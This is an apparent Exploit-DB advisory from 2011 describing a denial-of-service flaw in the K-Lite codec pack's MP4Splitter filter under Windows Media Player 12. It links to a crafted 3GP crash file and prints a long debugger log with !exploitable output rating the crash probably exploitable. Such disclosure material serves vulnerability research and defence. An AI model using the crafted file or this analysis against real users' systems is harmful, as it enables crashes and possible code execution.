Microsoft Windows Media Player with K-Lite Codec Pack – Denial of Service (PoC)
Greetings, There is a DOS condition on windows media player when the klite codec pack is installed. # Exploit Title: Windows Media Player with klite codec pack DOS Poc # Date: 14/06/2011 # Author: Nicolas Krassas , www.twitter.com/dinosn # Version:Windows Media Player 12 # Tested on: Windows 7 The 3gp handling from MP4Splitter.ax filter of klite codec pack will cause an Access violation when a specially crafted movie file is loaded on the media player. The same crash will occur also when the file is loaded on a playlist and the media player will try to generate thumbnail image of the contents. File at: http://www.deventum.com/research/Crash_WMplayer.3gp Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17398.3gp (Crash_WMplayer.3gp) Debug info, Microsoft (R) Windows Debugger Version 6.12.0002.633 X86 Copyright (c) Microsoft Corporation. All rights reserved. *** wait with pending attach Symbol search path is: SRV*c:\Symbols* http://msdl.microsoft.com/download/symbols Executable search path is: ModLoad: 00340000 0036c000 C:\Program Files\Windows Media Player\wmplayer.exe ModLoad: 773e0000 7751c000 C:\Windows\SYSTEM32\ntdll.dll ModLoad: 76390000 76464000 C:\Windows\system32\kernel32.dll ModLoad: 75810000 7585a000 C:\Windows\system32\KERNELBASE.dll ModLoad: 764c0000 76560000 C:\Windows\system32\ADVAPI32.dll ModLoad: 76230000 762dc000 C:\Windows\system32\msvcrt.dll ModLoad: 77530000 77549000 C:\Windows\SYSTEM32\sechost.dll ModLoad: 762e0000 76381000 C:\Windows\system32\RPCRT4.dll ModLoad: 76560000 76629000 C:\Windows\system32\USER32.dll ModLoad: 761e0000 7622e000 C:\Windows\system32\GDI32.dll ModLoad: 75af0000 75afa000 C:\Windows\system32\LPK.dll ModLoad: 75bf0000 75c8d000 C:\Windows\system32\USP10.dll ModLoad: 775d0000 77605000 C:\Windows\system32\WS2_32.dll ModLoad: 77520000 77526000 C:\Windows\system32\NSI.dll ModLoad: 75db0000 75dcf000 C:\Windows\system32\IMM32.DLL ModLoad: 75880000 7594c000 C:\Windows\system32\MSCTF.dll ModLoad: 742a0000 742e0000 C:\Windows\system32\uxtheme.dll ModLoad: 76790000 773da000 C:\Windows\system32\SHELL32.dll ModLoad: 75b00000 75b57000 C:\Windows\system32\SHLWAPI.dll ModLoad: 61cc0000 627b4000 C:\Windows\system32\wmp.dll ModLoad: 74000000 74190000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll ModLoad: 76630000 7678c000 C:\Windows\system32\ole32.dll ModLoad: 75b60000 75bef000 C:\Windows\system32\OLEAUT32.dll ModLoad: 73f10000 73f23000 C:\Windows\system32\dwmapi.dll ModLoad: 60f70000 61b7c000 C:\Windows\system32\wmploc.dll ModLoad: 754b0000 754bc000 C:\Windows\system32\CRYPTBASE.dll ModLoad: 74420000 745be000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\COMCTL32.dll ModLoad: 76140000 761c3000 C:\Windows\system32\CLBCatQ.DLL ModLoad: 68320000 683d2000 C:\Windows\System32\jscript.dll ModLoad: 74a30000 74a39000 C:\Windows\System32\VERSION.dll ModLoad: 74fe0000 74ff6000 C:\Windows\system32\CRYPTSP.dll ModLoad: 74ce0000 74d1b000 C:\Windows\system32\rsaenh.dll ModLoad: 75510000 7551e000 C:\Windows\system32\RpcRtRemote.dll ModLoad: 75520000 7557f000 C:\Windows\system32\SXS.DLL ModLoad: 73d30000 73e2b000 C:\Windows\system32\WindowsCodecs.dll ModLoad: 73890000 73895000 C:\Windows\system32\MSIMG32.dll ModLoad: 75580000 7558b000 C:\Windows\system32\profapi.dll ModLoad: 75950000 75aed000 C:\Windows\system32\SETUPAPI.dll ModLoad: 75600000 75627000 C:\Windows\system32\CFGMGR32.dll ModLoad: 75860000 75872000 C:\Windows\system32\DEVOBJ.dll ModLoad: 742e0000 743d5000 C:\Windows\system32\propsys.dll ModLoad: 74a00000 74a21000 C:\Windows\system32\ntmarta.dll ModLoad: 76470000 764b5000 C:\Windows\system32\WLDAP32.dll ModLoad: 73e60000 73e99000 C:\Windows\System32\MMDevApi.dll ModLoad: 63320000 63379000 C:\Windows\system32\MFPlat.DLL ModLoad: 73c70000 73c77000 C:\Windows\system32\AVRT.dll ModLoad: 64e60000 64e96000 C:\Windows\system32\AUDIOSES.DLL ModLoad: 6fd30000 6fd8a000 C:\Windows\System32\netprofm.dll ModLoad: 73880000 73890000 C:\Windows\System32\nlaapi.dll ModLoad: 6f460000 6f468000 C:\Windows\System32\npmproxy.dll ModLoad: 70b90000 70bd4000 C:\Windows\system32\upnphost.dll ModLoad: 70930000 7093d000 C:\Windows\system32\SSDPAPI.dll ModLoad: 72670000 726a2000 C:\Windows\system32\WINMM.dll ModLoad: 74b40000 74b4d000 C:\Windows\system32\WTSAPI32.dll ModLoad: 751a0000 751c9000 C:\Windows\system32\WINSTA.dll ModLoad: 75c90000 75daa000 C:\Windows\system32\WININET.dll ModLoad: 76100000 76103000 C:\Windows\system32\Normaliz.dll ModLoad: 75e30000 75fe6000 C:\Windows\system32\iertutil.dll ModLoad: 75ff0000 76100000 C:\Windows\system32\urlmon.dll ModLoad: 75470000 75478000 C:\Windows\system32\Secur32.dll ModLoad: 75490000 754ab000 C:\Windows\system32\SSPICLI.DLL ModLoad: 73610000 7361a000 C:\Windows\system32\slc.dll ModLoad: 64030000 64094000 C:\Windows\system32\imapi2.dll ModLoad: 74b50000 74b5b000 C:\Windows\system32\pcwum.DLL ModLoad: 75630000 7565d000 C:\Windows\system32\WINTRUST.dll ModLoad: 756f0000 7580d000 C:\Windows\system32\CRYPT32.dll ModLoad: 755f0000 755fc000 C:\Windows\system32\MSASN1.dll ModLoad: 6a4c0000 6a50c000 C:\Windows\System32\mswmdm.dll ModLoad: 74e40000 74e84000 C:\Windows\system32\dnsapi.DLL ModLoad: 72e40000 72e5c000 C:\Windows\system32\iphlpapi.DLL ModLoad: 72e30000 72e37000 C:\Windows\system32\WINNSI.DLL ModLoad: 70700000 70727000 C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDNSP.DLL ModLoad: 761d0000 761d5000 C:\Windows\system32\PSAPI.DLL ModLoad: 74fa0000 74fdc000 C:\Windows\System32\mswsock.dll ModLoad: 706d0000 706f5000 C:\Program Files\Bonjour\mdnsNSP.dll ModLoad: 65fc0000 65ff6000 C:\Windows\system32\upnp.dll ModLoad: 71450000 714a8000 C:\Windows\system32\WINHTTP.dll ModLoad: 71400000 7144f000 C:\Windows\system32\webio.dll ModLoad: 72960000 72966000 C:\Windows\System32\wshqos.dll ModLoad: 74ac0000 74ac5000 C:\Windows\system32\wshtcpip.DLL ModLoad: 75000000 75006000 C:\Windows\system32\wship6.dll ModLoad: 72c30000 72c42000 C:\Windows\system32\dhcpcsvc.DLL ModLoad: 6b000000 6b036000 C:\Windows\System32\cewmdm.dll ModLoad: 74f20000 74f28000 C:\Windows\system32\credssp.dll ModLoad: 6fa90000 6fbc3000 C:\Windows\System32\msxml3.dll ModLoad: 67cb0000 67d26000 C:\Program Files\Windows Media Player\wmpnssci.dll ModLoad: 72cb0000 72cbd000 C:\Windows\system32\dhcpcsvc6.DLL ModLoad: 70f10000 70f1c000 C:\Windows\System32\wmdmps.dll ModLoad: 74a40000 74ab6000 C:\Windows\system32\FirewallAPI.dll ModLoad: 6c340000 6c4af000 C:\Windows\system32\explorerframe.dll ModLoad: 73ee0000 73f0f000 C:\Windows\system32\DUser.dll ModLoad: 73f40000 73ff2000 C:\Windows\system32\DUI70.dll ModLoad: 641a0000 641c7000 C:\Windows\System32\wmpps.dll ModLoad: 73910000 73962000 C:\Windows\system32\RASAPI32.dll ModLoad: 738f0000 73905000 C:\Windows\system32\rasman.dll ModLoad: 738e0000 738ed000 C:\Windows\system32\rtutils.dll ModLoad: 703b0000 703b6000 C:\Windows\system32\sensapi.dll ModLoad: 73670000 73695000 C:\Windows\system32\peerdist.dll ModLoad: 74ba0000 74bb7000 C:\Windows\system32\USERENV.dll ModLoad: 75180000 7519b000 C:\Windows\system32\AUTHZ.dll ModLoad: 70370000 70376000 C:\Windows\system32\rasadhlp.dll ModLoad: 72cc0000 72cf8000 C:\Windows\System32\fwpuclnt.dll ModLoad: 731d0000 731dd000 C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLMF.DLL ModLoad: 711e0000 71283000 C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.5570_none_509463cabcb6ef2a\MSVCR90.dll ModLoad: 73e30000 73e5f000 C:\Windows\system32\XmlLite.dll ModLoad: 6f310000 6f319000 C:\Windows\system32\LINKINFO.dll (2730.1a14): Break instruction exception - code 80000003 (first chance) eax=7ff9e000 ebx=00000000 ecx=00000000 edx=7747f125 esi=00000000 edi=00000000 eip=774140f0 esp=01a9feb4 ebp=01a9fee0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!DbgBreakPoint: 774140f0 cc int 3 0:029> g ModLoad: 754c0000 7550c000 C:\Windows\system32\apphelp.dll ModLoad: 10000000 10017000 C:\Users\Dinos\AppData\Roaming\Dropbox\bin\DropboxExt.14.dll ModLoad: 733d0000 734bb000 C:\Windows\system32\dbghelp.dll ModLoad: 7c3a0000 7c41b000 C:\Users\Dinos\AppData\Roaming\Dropbox\bin\MSVCP71.dll ModLoad: 7c340000 7c396000 C:\Users\Dinos\AppData\Roaming\Dropbox\bin\MSVCR71.dll ModLoad: 6e660000 6e691000 C:\Windows\system32\EhStorShell.dll ModLoad: 6bb20000 6bf2b000 GrooveEX.DLL ModLoad: 6bb20000 6bf2b000 C:\PROGRA~1\MIF5BA~1\Office14\GROOVEEX.DLL ModLoad: 71140000 711ce000 C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.5570_none_509463cabcb6ef2a\MSVCP90.dll ModLoad: 6e630000 6e65b000 C:\Windows\WinSxS\x86_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.5570_none_51ce1f16bbe3e56e\ATL90.DLL ModLoad: 6bf30000 6c33f000 C:\PROGRA~1\COMMON~1\MICROS~1\OFFICE14\Cultures\office.odf ModLoad: 6b2b0000 6bb14000 C:\PROGRA~1\MIF5BA~1\Office14\1033\GrooveIntlResource.dll ModLoad: 64720000 6478a000 C:\Windows\System32\cscui.dll ModLoad: 737d0000 737d9000 C:\Windows\System32\CSCDLL.dll ModLoad: 70940000 7094b000 C:\Windows\system32\CSCAPI.dll ModLoad: 64680000 646f0000 C:\Windows\system32\ntshrui.dll ModLoad: 75400000 75419000 C:\Windows\system32\srvcli.dll ModLoad: 6f720000 6f7c0000 C:\Windows\system32\SearchFolder.dll ModLoad: 73010000 73026000 C:\Windows\system32\thumbcache.dll ModLoad: 6de20000 6e132000 C:\Windows\system32\MF.dll ModLoad: 73620000 73634000 C:\Windows\system32\ATL.DLL ModLoad: 64e20000 64e24000 C:\Windows\system32\ksuser.dll ModLoad: 67510000 67569000 C:\Windows\System32\wmpeffects.dll ModLoad: 682f0000 682fb000 C:\Windows\System32\msdmo.dll ModLoad: 66f70000 66fea000 C:\Windows\System32\evr.dll ModLoad: 73c80000 73ca5000 C:\Windows\System32\POWRPROF.dll ModLoad: 70f20000 70f38000 C:\Windows\system32\DXVA2.DLL ModLoad: 628f0000 62ab3000 C:\Windows\system32\D3D9.DLL ModLoad: 730f0000 730f6000 C:\Windows\system32\d3d8thk.dll ModLoad: 58eb0000 5985a000 C:\Windows\system32\nvd3dum.dll (2730.1d98): C++ EH exception - code e06d7363 (first chance) ModLoad: 684a0000 684ec000 C:\Windows\System32\mfds.dll ModLoad: 65e10000 65f87000 C:\Windows\system32\quartz.dll ModLoad: 65320000 65334000 C:\Windows\system32\devenum.dll ModLoad: 088e0000 089db000 C:\Program Files\K-Lite Codec Pack\Filters\vsfilter.dll ModLoad: 77550000 775cb000 C:\Windows\system32\COMDLG32.dll ModLoad: 70570000 705c1000 C:\Windows\system32\WINSPOOL.DRV ModLoad: 67360000 673cc000 C:\Program Files\K-Lite Codec Pack\Filters\FLVSplitter.ax ModLoad: 66d80000 66e2e000 C:\Program Files\K-Lite Codec Pack\Filters\MP4Splitter.ax (2730.1d98): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=66d8bed0 ebx=00000000 ecx=00000000 edx=0691ef40 esi=08e9fe28 edi=08e9fe50 eip=66d8bef1 esp=0691ee78 ebp=00000000 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\K-Lite Codec Pack\Filters\MP4Splitter.ax - MP4Splitter!DllRegisterServer+0x5a41: 66d8bef1 8b01 mov eax,dword ptr [ecx] ds:0023:00000000=???????? 0:031> !exploitable -v HostMachine\HostUser Executing Processor Architecture is x86 Debuggee is in User Mode Debuggee is a live user mode debugging session on the local machine Event Type: Exception Exception Faulting Address: 0x0 First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) Exception Sub-Type: Read Access Violation Faulting Instruction:66d8bef1 mov eax,dword ptr [ecx] Basic Block: 66d8bef1 mov eax,dword ptr [ecx] Tainted Input Operands: ecx 66d8bef3 mov eax,dword ptr [eax+30h] Tainted Input Operands: eax 66d8bef6 push ebx 66d8bef7 mov ebx,dword ptr [esp+38h] 66d8befb lea edx,[esp+1ch] 66d8beff push edx 66d8bf00 lea edx,[esp+10h] 66d8bf04 push edx 66d8bf05 lea edx,[esp+40h] 66d8bf09 push edx 66d8bf0a inc ebx 66d8bf0b push ebx 66d8bf0c call eax Tainted Input Operands: eax, ecx Exception Hash (Major/Minor): 0x312e650b.0x312e1f0b Stack Trace: MP4Splitter!DllRegisterServer+0x5a41 Instruction Address: 0x0000000066d8bef1 Description: Data from Faulting Address controls Code Flow Short Description: TaintedDataControlsCodeFlow Exploitability Classification: PROBABLY_EXPLOITABLE Recommended Bug Title: Probably Exploitable - Data from Faulting Address controls Code Flow starting at MP4Splitter!DllRegisterServer+0x0000000000005a41 (Hash=0x312e650b.0x312e1f0b) The data from the faulting address is later used as the target for a branch. |